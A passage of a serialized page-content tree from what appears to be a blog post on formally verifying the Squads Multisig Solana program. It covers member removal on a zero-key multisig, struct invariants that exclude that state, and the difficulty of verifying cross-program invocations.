gly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":22,"tag":31,"props":28978,"children":28979},{},[28980,28982,28988],{"type":28,"value":28981},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":22,"tag":114,"props":28983,"children":28985},{"className":28984},[],[28986],{"type":28,"value":28987},"Ms::remove_member",{"type":28,"value":213},{"type":22,"tag":107,"props":28990,"children":28992},{"code":28991,"language":111,"meta":7,"className":109,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[28993],{"type":22,"tag":114,"props":28994,"children":28995},{"__ignoreMap":7},[28996,29055,29086,29093],{"type":22,"tag":118,"props":28997,"children":28998},{"class":120,"line":121},[28999,29003,29007,29011,29015,29019,29023,29027,29031,29035,29039,29043,29047,29051],{"type":22,"tag":118,"props":29000,"children":29001},{"style":1480},[29002],{"type":28,"value":17553},{"type":22,"tag":118,"props":29004,"children":29005},{"style":204},[29006],{"type":28,"value":639},{"type":22,"tag":118,"props":29008,"children":29009},{"style":210},[29010],{"type":28,"value":292},{"type":22,"tag":118,"props":29012,"children":29013},{"style":125},[29014],{"type":28,"value":648},{"type":22,"tag":118,"props":29016,"children":29017},{"style":210},[29018],{"type":28,"value":292},{"type":22,"tag":118,"props":29020,"children":29021},{"style":125},[29022],{"type":28,"value":25750},{"type":22,"tag":118,"props":29024,"children":29025},{"style":210},[29026],{"type":28,"value":292},{"type":22,"tag":118,"props":29028,"children":29029},{"style":125},[29030],{"type":28,"value":22939},{"type":22,"tag":118,"props":29032,"children":29033},{"style":210},[29034],{"type":28,"value":292},{"type":22,"tag":118,"props":29036,"children":29037},{"style":532},[29038],{"type":28,"value":11137},{"type":22,"tag":118,"props":29040,"children":29041},{"style":125},[29042],{"type":28,"value":2182},{"type":22,"tag":118,"props":29044,"children":29045},{"style":210},[29046],{"type":28,"value":302},{"type":22,"tag":118,"props":29048,"children":29049},{"style":674},[29050],{"type":28,"value":6535},{"type":22,"tag":118,"props":29052,"children":29053},{"style":125},[29054],{"type":28,"value":1474},{"type":22,"tag":118,"props":29056,"children":29057},{"class":120,"line":142},[29058,29062,29066,29070,29074,29078,29082],{"type":22,"tag":118,"props":29059,"children":29060},{"style":1480},[29061],{"type":28,"value":18954},{"type":22,"tag":118,"props":29063,"children":29064},{"style":532},[29065],{"type":28,"value":25466},{"type":22,"tag":118,"props":29067,"children":29068},{"style":125},[29069],{"type":28,"value":540},{"type":22,"tag":118,"props":29071,"children":29072},{"style":131},[29073],{"type":28,"value":25475},{"type":22,"tag":118,"props":29075,"children":29076},{"style":210},[29077],{"type":28,"value":1190},{"type":22,"tag":118,"props":29079,"children":29080},{"style":131},[29081],{"type":28,"value":27861},{"type":22,"tag":118,"props":29083,"children":29084},{"style":125},[29085],{"type":28,"value":682},{"type":22,"tag":118,"props":29087,"children":29088},{"class":120,"line":177},[29089],{"type":22,"tag":118,"props":29090,"children":29091},{"style":125},[29092],{"type":28,"value":481},{"type":22,"tag":118,"props":29094,"children":29095},{"class":120,"line":195},[29096,29100,29104,29108,29112,29116,29120,29124,29128,29132,29136,29140],{"type":22,"tag":118,"props":29097,"children":29098},{"style":204},[29099],{"type":28,"value":545},{"type":22,"tag":118,"props":29101,"children":29102},{"style":210},[29103],{"type":28,"value":292},{"type":22,"tag":118,"props":29105,"children":29106},{"style":125},[29107],{"type":28,"value":648},{"type":22,"tag":118,"props":29109,"children":29110},{"style":210},[29111],{"type":28,"value":292},{"type":22,"tag":118,"props":29113,"children":29114},{"style":125},[29115],{"type":28,"value":25750},{"type":22,"tag":118,"props":29117,"children":29118},{"style":210},[29119],{"type":28,"value":292},{"type":22,"tag":118,"props":29121,"children":29122},{"style":532},[29123],{"type":28,"value":27409},{"type":22,"tag":118,"props":29125,"children":29126},{"style":125},[29127],{"type":28,"value":540},{"type":22,"tag":118,"props":29129,"children":29130},{"style":204},[29131],{"type":28,"value":27742},{"type":22,"tag":118,"props":29133,"children":29134},{"style":125},[29135],{"type":28,"value":3627},{"type":22,"tag":118,"props":29137,"children":29138},{"style":210},[29139],{"type":28,"value":796},{"type":22,"tag":118,"props":29141,"children":29142},{"style":125},[29143],{"type":28,"value":801},{"type":22,"tag":31,"props":29145,"children":29146},{},[29147,29149,29155,29157,29163],{"type":28,"value":29148},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":22,"tag":114,"props":29150,"children":29152},{"className":29151},[],[29153],{"type":28,"value":29154},"Ms::is_member",{"type":28,"value":29156},") and if it is not, it simply skips the removal and returns ",{"type":22,"tag":114,"props":29158,"children":29160},{"className":29159},[],[29161],{"type":28,"value":29162},"Ok(())",{"type":28,"value":292},{"type":22,"tag":107,"props":29165,"children":29167},{"code":29166,"language":111,"meta":7,"className":109,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[29168],{"type":22,"tag":114,"props":29169,"children":29170},{"__ignoreMap":7},[29171,29235,29294,29331,29390,29458,29465,29472,29483],{"type":22,"tag":118,"props":29172,"children":29173},{"class":120,"line":121},[29174,29178,29182,29186,29190,29194,29198,29202,29206,29211,29215,29219,29223,29227,29231],{"type":22,"tag":118,"props":29175,"children":29176},{"style":146},[29177],{"type":28,"value":149},{"type":22,"tag":118,"props":29179,"children":29180},{"style":146},[29181],{"type":28,"value":529},{"type":22,"tag":118,"props":29183,"children":29184},{"style":532},[29185],{"type":28,"value":27708},{"type":22,"tag":118,"props":29187,"children":29188},{"style":125},[29189],{"type":28,"value":540},{"type":22,"tag":118,"props":29191,"children":29192},{"style":210},[29193],{"type":28,"value":1407},{"type":22,"tag":118,"props":29195,"children":29196},{"style":146},[29197],{"type":28,"value":188},{"type":22,"tag":118,"props":29199,"children":29200},{"style":146},[29201],{"type":28,"value":2100},{"type":22,"tag":118,"props":29203,"children":29204},{"style":125},[29205],{"type":28,"value":231},{"type":22,"tag":118,"props":29207,"children":29208},{"style":204},[29209],{"type":28,"value":29210},"member",{"type":22,"tag":118,"props":29212,"children":29213},{"style":210},[29214],{"type":28,"value":213},{"type":22,"tag":118,"props":29216,"children":29217},{"style":131},[29218],{"type":28,"value":2806},{"type":22,"tag":118,"props":29220,"children":29221},{"style":125},[29222],{"type":28,"value":588},{"type":22,"tag":118,"props":29224,"children":29225},{"style":210},[29226],{"type":28,"value":593},{"type":22,"tag":118,"props":29228,"children":29229},{"style":131},[29230],{"type":28,"value":598},{"type":22,"tag":118,"props":29232,"children":29233},{"style":125},[29234],{"type":28,"value":603},{"type":22,"tag":118,"props":29236,"children":29237},{"class":120,"line":142},[29238,29242,29247,29252,29256,29261,29265,29269,29273,29277,29282,29286,29290],{"type":22,"tag":118,"props":29239,"children":29240},{"style":1480},[29241],{"type":28,"value":2159},{"type":22,"tag":118,"props":29243,"children":29244},{"style":146},[29245],{"type":28,"value":29246}," let",{"type":22,"tag":118,"props":29248,"children":29249},{"style":131},[29250],{"type":28,"value":29251}," Some",{"type":22,"tag":118,"props":29253,"children":29254},{"style":125},[29255],{"type":28,"value":540},{"type":22,"tag":118,"props":29257,"children":29258},{"style":204},[29259],{"type":28,"value":29260},"ind",{"type":22,"tag":118,"props":29262,"children":29263},{"style":125},[29264],{"type":28,"value":588},{"type":22,"tag":118,"props":29266,"children":29267},{"style":210},[29268],{"type":28,"value":282},{"type":22,"tag":118,"props":29270,"children":29271},{"style":146},[29272],{"type":28,"value":2100},{"type":22,"tag":118,"props":29274,"children":29275},{"style":210},[29276],{"type":28,"value":292},{"type":22,"tag":118,"props":29278,"children":29279},{"style":532},[29280],{"type":28,"value":29281},"is_member",{"type":22,"tag":118,"props":29283,"children":29284},{"style":125},[29285],{"type":28,"value":540},{"type":22,"tag":118,"props":29287,"children":29288},{"style":204},[29289],{"type":28,"value":29210},{"type":22,"tag":118,"props":29291,"children":29292},{"style":125},[29293],{"type":28,"value":16783},{"type":22,"tag":118,"props":29295,"children":29296},{"class":120,"line":177},[29297,29302,29306,29310,29314,29319,29323,29327],{"type":22,"tag":118,"props":29298,"children":29299},{"style":146},[29300],{"type":28,"value":29301},"        self",{"type":22,"tag":118,"props":29303,"children":29304},{"style":210},[29305],{"type":28,"value":292},{"type":22,"tag":118,"props":29307,"children":29308},{"style":125},[29309],{"type":28,"value":22939},{"type":22,"tag":118,"props":29311,"children":29312},{"style":210},[29313],{"type":28,"value":292},{"type":22,"tag":118,"props":29315,"children":29316},{"style":532},[29317],{"type":28,"value":29318},"remove",{"type":22,"tag":118,"props":29320,"children":29321},{"style":125},[29322],{"type":28,"value":540},{"type":22,"tag":118,"props":29324,"children":29325},{"style":204},[29326],{"type":28,"value":29260},{"type":22,"tag":118,"props":29328,"children":29329},{"style":125},[29330],{"type":28,"value":682},{"type":22,"tag":118,"props":29332,"children":29333},{"class":120,"line":195},[29334,29338,29342,29346,29350,29354,29358,29362,29366,29370,29374,29378,29382,29386],{"type":22,"tag":118,"props":29335,"children":29336},{"style":1480},[29337],{"type":28,"value":5293},{"type":22,"tag":118,"props":29339,"children":29340},{"style":146},[29341],{"type":28,"value":2100},{"type":22,"tag":118,"props":29343,"children":29344},{"style":210},[29345],{"type":28,"value":292},{"type":22,"tag":118,"props":29347,"children":29348},{"style":125},[29349],{"type":28,"value":22939},{"type":22,"tag":118,"props":29351,"children":29352},{"style":210},[29353],{"type":28,"value":292},{"type":22,"tag":118,"props":29355,"children":29356},{"style":532},[29357],{"type":28,"value":11137},{"type":22,"tag":118,"props":29359,"children":29360},{"style":125},[29361],{"type":28,"value":27986},{"type":22,"tag":118,"props":29363,"children":29364},{"style":131},[29365],{"type":28,"value":18567},{"type":22,"tag":118,"props":29367,"children":29368},{"style":210},[29369],{"type":28,"value":1190},{"type":22,"tag":118,"props":29371,"children":29372},{"style":532},[29373],{"type":28,"value":21441},{"type":22,"tag":118,"props":29375,"children":29376},{"style":125},[29377],{"type":28,"value":540},{"type":22,"tag":118,"props":29379,"children":29380},{"style":146},[29381],{"type":28,"value":1412},{"type":22,"tag":118,"props":29383,"children":29384},{"style":210},[29385],{"type":28,"value":292},{"type":22,"tag":118,"props":29387,"children":29388},{"style":125},[29389],{"type":28,"value":28031},{"type":22,"tag":118,"props":29391,"children":29392},{"class":120,"line":244},[29393,29398,29402,29406,29410,29414,29418,29422,29426,29430,29434,29438,29442,29446,29450,29454],{"type":22,"tag":118,"props":29394,"children":29395},{"style":146},[29396],{"type":28,"value":29397},"            self",{"type":22,"tag":118,"props":29399,"children":29400},{"style":210},[29401],{"type":28,"value":292},{"type":22,"tag":118,"props":29403,"children":29404},{"style":125},[29405],{"type":28,"value":23027},{"type":22,"tag":118,"props":29407,"children":29408},{"style":210},[29409],{"type":28,"value":282},{"type":22,"tag":118,"props":29411,"children":29412},{"style":146},[29413],{"type":28,"value":2100},{"type":22,"tag":118,"props":29415,"children":29416},{"style":210},[29417],{"type":28,"value":292},{"type":22,"tag":118,"props":29419,"children":29420},{"style":125},[29421],{"type":28,"value":22939},{"type":22,"tag":118,"props":29423,"children":29424},{"style":210},[29425],{"type":28,"value":292},{"type":22,"tag":118,"props":29427,"children":29428},{"style":532},[29429],{"type":28,"value":11137},{"type":22,"tag":118,"props":29431,"children":29432},{"style":125},[29433],{"type":28,"value":1200},{"type":22,"tag":118,"props":29435,"children":29436},{"style":210},[29437],{"type":28,"value":292},{"type":22,"tag":118,"props":29439,"children":29440},{"style":532},[29441],{"type":28,"value":28104},{"type":22,"tag":118,"props":29443,"children":29444},{"style":125},[29445],{"type":28,"value":1200},{"type":22,"tag":118,"props":29447,"children":29448},{"style":210},[29449],{"type":28,"value":292},{"type":22,"tag":118,"props":29451,"children":29452},{"style":532},[29453],{"type":28,"value":5679},{"type":22,"tag":118,"props":29455,"children":29456},{"style":125},[29457],{"type":28,"value":1098},{"type":22,"tag":118,"props":29459,"children":29460},{"class":120,"line":253},[29461],{"type":22,"tag":118,"props":29462,"children":29463},{"style":125},[29464],{"type":28,"value":1835},{"type":22,"tag":118,"props":29466,"children":29467},{"class":120,"line":263},[29468],{"type":22,"tag":118,"props":29469,"children":29470},{"style":125},[29471],{"type":28,"value":1254},{"type":22,"tag":118,"props":29473,"children":29474},{"class":120,"line":318},[29475,29479],{"type":22,"tag":118,"props":29476,"children":29477},{"style":131},[29478],{"type":28,"value":2542},{"type":22,"tag":118,"props":29480,"children":29481},{"style":125},[29482],{"type":28,"value":1245},{"type":22,"tag":118,"props":29484,"children":29485},{"class":120,"line":351},[29486],{"type":22,"tag":118,"props":29487,"children":29488},{"style":125},[29489],{"type":28,"value":481},{"type":22,"tag":31,"props":29491,"children":29492},{},[29493,29495,29500,29502,29508,29510,29516,29518,29523],{"type":28,"value":29494},"Inside ",{"type":22,"tag":114,"props":29496,"children":29498},{"className":29497},[],[29499],{"type":28,"value":29154},{"type":28,"value":29501},", we see that it performs a ",{"type":22,"tag":114,"props":29503,"children":29505},{"className":29504},[],[29506],{"type":28,"value":29507},"binary_search",{"type":28,"value":29509}," on the keys vec and returns the index or ",{"type":22,"tag":114,"props":29511,"children":29513},{"className":29512},[],[29514],{"type":28,"value":29515},"None",{"type":28,"value":29517},". Since the vec has size zero, this will just return ",{"type":22,"tag":114,"props":29519,"children":29521},{"className":29520},[],[29522],{"type":28,"value":29515},{"type":28,"value":292},{"type":22,"tag":107,"props":29525,"children":29527},{"code":29526,"language":111,"meta":7,"className":109,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[29528],{"type":22,"tag":114,"props":29529,"children":29530},{"__ignoreMap":7},[29531,29599,29642,29681,29702,29709],{"type":22,"tag":118,"props":29532,"children":29533},{"class":120,"line":121},[29534,29538,29542,29547,29551,29555,29559,29563,29567,29571,29575,29579,29583,29587,29591,29595],{"type":22,"tag":118,"props":29535,"children":29536},{"style":146},[29537],{"type":28,"value":149},{"type":22,"tag":118,"props":29539,"children":29540},{"style":146},[29541],{"type":28,"value":529},{"type":22,"tag":118,"props":29543,"children":29544},{"style":532},[29545],{"type":28,"value":29546}," is_member",{"type":22,"tag":118,"props":29548,"children":29549},{"style":125},[29550],{"type":28,"value":540},{"type":22,"tag":118,"props":29552,"children":29553},{"style":210},[29554],{"type":28,"value":1407},{"type":22,"tag":118,"props":29556,"children":29557},{"style":146},[29558],{"type":28,"value":1412},{"type":22,"tag":118,"props":29560,"children":29561},{"style":125},[29562],{"type":28,"value":231},{"type":22,"tag":118,"props":29564,"children":29565},{"style":204},[29566],{"type":28,"value":29210},{"type":22,"tag":118,"props":29568,"children":29569},{"style":210},[29570],{"type":28,"value":213},{"type":22,"tag":118,"props":29572,"children":29573},{"style":131},[29574],{"type":28,"value":2806},{"type":22,"tag":118,"props":29576,"children":29577},{"style":125},[29578],{"type":28,"value":588},{"type":22,"tag":118,"props":29580,"children":29581},{"style":210},[29582],{"type":28,"value":593},{"type":22,"tag":118,"props":29584,"children":29585},{"style":131},[29586],{"type":28,"value":2883},{"type":22,"tag":118,"props":29588,"children":29589},{"style":125},[29590],{"type":28,"value":559},{"type":22,"tag":118,"props":29592,"children":29593},{"style":131},[29594],{"type":28,"value":18567},{"type":22,"tag":118,"props":29596,"children":29597},{"style":125},[29598],{"type":28,"value":174},{"type":22,"tag":118,"props":29600,"children":29601},{"class":120,"line":142},[29602,29606,29610,29614,29618,29622,29626,29630,29634,29638],{"type":22,"tag":118,"props":29603,"children":29604},{"style":1480},[29605],{"type":28,"value":16732},{"type":22,"tag":118,"props":29607,"children":29608},{"style":146},[29609],{"type":28,"value":2100},{"type":22,"tag":118,"props":29611,"children":29612},{"style":210},[29613],{"type":28,"value":292},{"type":22,"tag":118,"props":29615,"children":29616},{"style":125},[29617],{"type":28,"value":22939},{"type":22,"tag":118,"props":29619,"children":29620},{"style":210},[29621],{"type":28,"value":292},{"type":22,"tag":118,"props":29623,"children":29624},{"style":532},[29625],{"type":28,"value":29507},{"type":22,"tag":118,"props":29627,"children":29628},{"style":125},[29629],{"type":28,"value":540},{"type":22,"tag":118,"props":29631,"children":29632},{"style":210},[29633],{"type":28,"value":1407},{"type":22,"tag":118,"props":29635,"children":29636},{"style":204},[29637],{"type":28,"value":29210},{"type":22,"tag":118,"props":29639,"children":29640},{"style":125},[29641],{"type":28,"value":16783},{"type":22,"tag":118,"props":29643,"children":29644},{"class":120,"line":177},[29645,29649,29653,29657,29661,29665,29669,29673,29677],{"type":22,"tag":118,"props":29646,"children":29647},{"style":131},[29648],{"type":28,"value":1240},{"type":22,"tag":118,"props":29650,"children":29651},{"style":125},[29652],{"type":28,"value":540},{"type":22,"tag":118,"props":29654,"children":29655},{"style":204},[29656],{"type":28,"value":29260},{"type":22,"tag":118,"props":29658,"children":29659},{"style":125},[29660],{"type":28,"value":588},{"type":22,"tag":118,"props":29662,"children":29663},{"style":210},[29664],{"type":28,"value":1616},{"type":22,"tag":118,"props":29666,"children":29667},{"style":131},[29668],{"type":28,"value":29251},{"type":22,"tag":118,"props":29670,"children":29671},{"style":125},[29672],{"type":28,"value":540},{"type":22,"tag":118,"props":29674,"children":29675},{"style":204},[29676],{"type":28,"value":29260},{"type":22,"tag":118,"props":29678,"children":29679},{"style":125},[29680],{"type":28,"value":3853},{"type":22,"tag":118,"props":29682,"children":29683},{"class":120,"line":195},[29684,29689,29693,29698],{"type":22,"tag":118,"props":29685,"children":29686},{"style":204},[29687],{"type":28,"value":29688},"        _",{"type":22,"tag":118,"props":29690,"children":29691},{"style":210},[29692],{"type":28,"value":1532},{"type":22,"tag":118,"props":29694,"children":29695},{"style":131},[29696],{"type":28,"value":29697}," None",{"type":22,"tag":118,"props":29699,"children":29700},{"style":125},[29701],{"type":28,"value":782},{"type":22,"tag":118,"props":29703,"children":29704},{"class":120,"line":244},[29705],{"type":22,"tag":118,"props":29706,"children":29707},{"style":125},[29708],{"type":28,"value":1254},{"type":22,"tag":118,"props":29710,"children":29711},{"class":120,"line":253},[29712],{"type":22,"tag":118,"props":29713,"children":29714},{"style":125},[29715],{"type":28,"value":481},{"type":22,"tag":31,"props":29717,"children":29718},{},[29719,29721,29726,29728,29733,29735,29740,29742,29747],{"type":28,"value":29720},"So interestingly, a ",{"type":22,"tag":114,"props":29722,"children":29724},{"className":29723},[],[29725],{"type":28,"value":22939},{"type":28,"value":29727}," vec of size 0 ",{"type":22,"tag":4764,"props":29729,"children":29730},{},[29731],{"type":28,"value":29732},"is actually",{"type":28,"value":29734}," a sufficient condition to execute ",{"type":22,"tag":114,"props":29736,"children":29738},{"className":29737},[],[29739],{"type":28,"value":27409},{"type":28,"value":29741},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":22,"tag":4764,"props":29743,"children":29744},{},[29745],{"type":28,"value":29746},"valid",{"type":28,"value":29748}," multisig, the number of keys should never be zero.",{"type":22,"tag":31,"props":29750,"children":29751},{},[29752,29754,29759],{"type":28,"value":29753},"We can represent this ",{"type":22,"tag":4764,"props":29755,"children":29756},{},[29757],{"type":28,"value":29758},"validity",{"type":28,"value":29760}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":22,"tag":107,"props":29762,"children":29764},{"code":29763,"language":111,"meta":7,"className":109,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[29765],{"type":22,"tag":114,"props":29766,"children":29767},{"__ignoreMap":7},[29768,29775,29798,29849,29856],{"type":22,"tag":118,"props":29769,"children":29770},{"class":120,"line":121},[29771],{"type":22,"tag":118,"props":29772,"children":29773},{"style":125},[29774],{"type":28,"value":22738},{"type":22,"tag":118,"props":29776,"children":29777},{"class":120,"line":142},[29778,29782,29786,29790,29794],{"type":22,"tag":118,"props":29779,"children":29780},{"style":125},[29781],{"type":28,"value":26674},{"type":22,"tag":118,"props":29783,"children":29784},{"style":210},[29785],{"type":28,"value":292},{"type":22,"tag":118,"props":29787,"children":29788},{"style":125},[29789],{"type":28,"value":23027},{"type":22,"tag":118,"props":29791,"children":29792},{"style":210},[29793],{"type":28,"value":11942},{"type":22,"tag":118,"props":29795,"children":29796},{"style":125},[29797],{"type":28,"value":23036},{"type":22,"tag":118,"props":29799,"children":29800},{"class":120,"line":177},[29801,29805,29809,29813,29817,29821,29825,29829,29833,29837,29841,29845],{"type":22,"tag":118,"props":29802,"children":29803},{"style":210},[29804],{"type":28,"value":3261},{"type":22,"tag":118,"props":29806,"children":29807},{"style":125},[29808],{"type":28,"value":22960},{"type":22,"tag":118,"props":29810,"children":29811},{"style":210},[29812],{"type":28,"value":292},{"type":22,"tag":118,"props":29814,"children":29815},{"style":125},[29816],{"type":28,"value":23027},{"type":22,"tag":118,"props":29818,"children":29819},{"style":146},[29820],{"type":28,"value":1215},{"type":22,"tag":118,"props":29822,"children":29823},{"style":131},[29824],{"type":28,"value":3946},{"type":22,"tag":118,"props":29826,"children":29827},{"style":210},[29828],{"type":28,"value":1798},{"type":22,"tag":118,"props":29830,"children":29831},{"style":125},[29832],{"type":28,"value":2100},{"type":22,"tag":118,"props":29834,"children":29835},{"style":210},[29836],{"type":28,"value":292},{"type":22,"tag":118,"props":29838,"children":29839},{"style":125},[29840],{"type":28,"value":22939},{"type":22,"tag":118,"props":29842,"children":29843},{"style":210},[29844],{"type":28,"value":292},{"type":22,"tag":118,"props":29846,"children":29847},{"style":125},[29848],{"type":28,"value":23088},{"type":22,"tag":118,"props":29850,"children":29851},{"class":120,"line":195},[29852],{"type":22,"tag":118,"props":29853,"children":29854},{"style":125},[29855],{"type":28,"value":139},{"type":22,"tag":118,"props":29857,"children":29858},{"class":120,"line":244},[29859,29863,29867,29871,29875,29879],{"type":22,"tag":118,"props":29860,"children":29861},{"style":146},[29862],{"type":28,"value":149},{"type":22,"tag":118,"props":29864,"children":29865},{"style":146},[29866],{"type":28,"value":154},{"type":22,"tag":118,"props":29868,"children":29869},{"style":131},[29870],{"type":28,"value":23111},{"type":22,"tag":118,"props":29872,"children":29873},{"style":125},[29874],{"type":28,"value":11584},{"type":22,"tag":118,"props":29876,"children":29877},{"style":210},[29878],{"type":28,"value":11589},{"type":22,"tag":118,"props":29880,"children":29881},{"style":125},[29882],{"type":28,"value":11594},{"type":22,"tag":31,"props":29884,"children":29885},{},[29886,29888,29894,29896,29902],{"type":28,"value":29887},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":22,"tag":114,"props":29889,"children":29891},{"className":29890},[],[29892],{"type":28,"value":29893},"keys.len() == 0",{"type":28,"value":29895}," and allows us to prove the biconditional ",{"type":22,"tag":114,"props":29897,"children":29899},{"className":29898},[],[29900],{"type":28,"value":29901},"(keys.len() >= 1) -> (instruction succeeds)",{"type":28,"value":292},{"type":22,"tag":1289,"props":29904,"children":29906},{"id":29905},"safety-guarantees",[29907],{"type":28,"value":24739},{"type":22,"tag":31,"props":29909,"children":29910},{},[29911],{"type":28,"value":29912},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":22,"tag":31,"props":29914,"children":29915},{},[29916],{"type":28,"value":29917},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":22,"tag":31,"props":29919,"children":29920},{},[29921,29923,29929],{"type":28,"value":29922},"In the multisig program this happens in the ",{"type":22,"tag":114,"props":29924,"children":29926},{"className":29925},[],[29927],{"type":28,"value":29928},"execute_transaction",{"type":28,"value":29930}," instruction.",{"type":22,"tag":31,"props":29932,"children":29933},{},[29934],{"type":22,"tag":4764,"props":29935,"children":29936},{},[29937],{"type":28,"value":29938},"So what do you do?",{"type":22,"tag":31,"props":29940,"children":29941},{},[29942],{"type":28,"value":29943},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":22,"tag":107,"props":29945,"children":29947},{"code":29946,"language":111,"meta":7,"className":109,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[29948],{"type":22,"tag":114,"props":29949,"children":29950},{"__ignoreMap":7},[29951,29966,29982,29997,30038,30045,30052,30059,30076,30092,30113,30120,30127,30142,30162,30190,30197,30204,30211,30219,30272,30298,30305,30334,30358,30393,30400,30411],{"type":22,"tag":118,"props":29952,"children":29953},{"class":120,"line":121},[29954,29958,29962],{"type":22,"tag":118,"props":29955,"children":29956},{"style":125},[29957],{"type":28,"value":128},{"type":22,"tag":118,"props":29959,"children":29960},{"style":131},[29961],{"type":28,"value":134},{"type":22,"tag":118,"props":29963,"children":29964},{"style":125},[29965],{"type":28,"value":139},{"type":22,"tag":118,"props":29967,"children":29968},{"class":120,"line":142},[29969,29973,29978],{"type":22,"tag":118,"props":29970,"children":29971},{"style":146},[29972],{"type":28,"value":149},{"type":22,"tag":118,"props":29974,"children":29975},{"style":131},[29976],{"type":28,"value":29977}," MyCtx",{"type":22,"tag":118,"props":29979,"children":29980},{"style":125},[29981],{"type":28,"value":1474},{"type":22,"tag":118,"props":29983,"children":29984},{"class":120,"line":177},[29985,29989,29993],{"type":22,"tag":118,"props":29986,"children":29987},{"style":125},[29988],{"type":28,"value":183},{"type":22,"tag":118,"props":29990,"children":29991},{"style":146},[29992],{"type":28,"value":188},{"type":22,"tag":118,"props":29994,"children":29995},{"style":125},[29996],{"type":28,"value":139},{"type":22,"tag":118,"props":29998,"children":29999},{"class":120,"line":195},[30000,30004,30009,30013,30017,30021,30025,30029,30034],{"type":22,"tag":118,"props":30001,"children":30002},{"style":146},[30003],{"type":28,"value":201},{"type":22,"tag":118,"props":30005,"children":30006},{"style":204},[30007],{"type":28,"value":30008}," my_account",{"type":22,"tag":118,"props":30010,"children":30011},{"style":210},[30012],{"type":28,"value":213},{"type":22,"tag":118,"props":30014,"children":30015},{"style":131},[30016],{"type":28,"value":218},{"type":22,"tag":118,"props":30018,"children":30019},{"style":125},[30020],{"type":28,"value":164},{"type":22,"tag":118,"props":30022,"children":30023},{"style":131},[30024],{"type":28,"value":169},{"type":22,"tag":118,"props":30026,"children":30027},{"style":125},[30028],{"type":28,"value":231},{"type":22,"tag":118,"props":30030,"children":30031},{"style":131},[30032],{"type":28,"value":30033},"Acc",{"type":22,"tag":118,"props":30035,"children":30036},{"style":125},[30037],{"type":28,"value":8002},{"type":22,"tag":118,"props":30039,"children":30040},{"class":120,"line":244},[30041],{"type":22,"tag":118,"props":30042,"children":30043},{"style":125},[30044],{"type":28,"value":481},{"type":22,"tag":118,"props":30046,"children":30047},{"class":120,"line":253},[30048],{"type":22,"tag":118,"props":30049,"children":30050},{"emptyLinePlaceholder":15},[30051],{"type":28,"value":250},{"type":22,"tag":118,"props":30053,"children":30054},{"class":120,"line":263},[30055],{"type":22,"tag":118,"props":30056,"children":30057},{"style":125},[30058],{"type":28,"value":22730},{"type":22,"tag":118,"props":30060,"children":30061},{"class":120,"line":318},[30062,30067,30071],{"type":22,"tag":118,"props":30063,"children":30064},{"style":125},[30065],{"type":28,"value":30066},"#[invariant(bad ",{"type":22,"tag":118,"props":30068,"children":30069},{"style":210},[30070],{"type":28,"value":302},{"type":22,"tag":118,"props":30072,"children":30073},{"style":125},[30074],{"type":28,"value":30075}," false)]\n",{"type":22,"tag":118,"props":30077,"children":30078},{"class":120,"line":351},[30079,30083,30088],{"type":22,"tag":118,"props":30080,"children":30081},{"style":146},[30082],{"type":28,"value":11399},{"type":22,"tag":118,"props":30084,"children":30085},{"style":131},[30086],{"type":28,"value":30087}," Acc",{"type":22,"tag":118,"props":30089,"children":30090},{"style":125},[30091],{"type":28,"value":1474},{"type":22,"tag":118,"props":30093,"children":30094},{"class":120,"line":359},[30095,30099,30104,30108],{"type":22,"tag":118,"props":30096,"children":30097},{"style":146},[30098],{"type":28,"value":201},{"type":22,"tag":118,"props":30100,"children":30101},{"style":204},[30102],{"type":28,"value":30103}," bad",{"type":22,"tag":118,"props":30105,"children":30106},{"style":210},[30107],{"type":28,"value":213},{"type":22,"tag":118,"props":30109,"children":30110},{"style":131},[30111],{"type":28,"value":30112}," 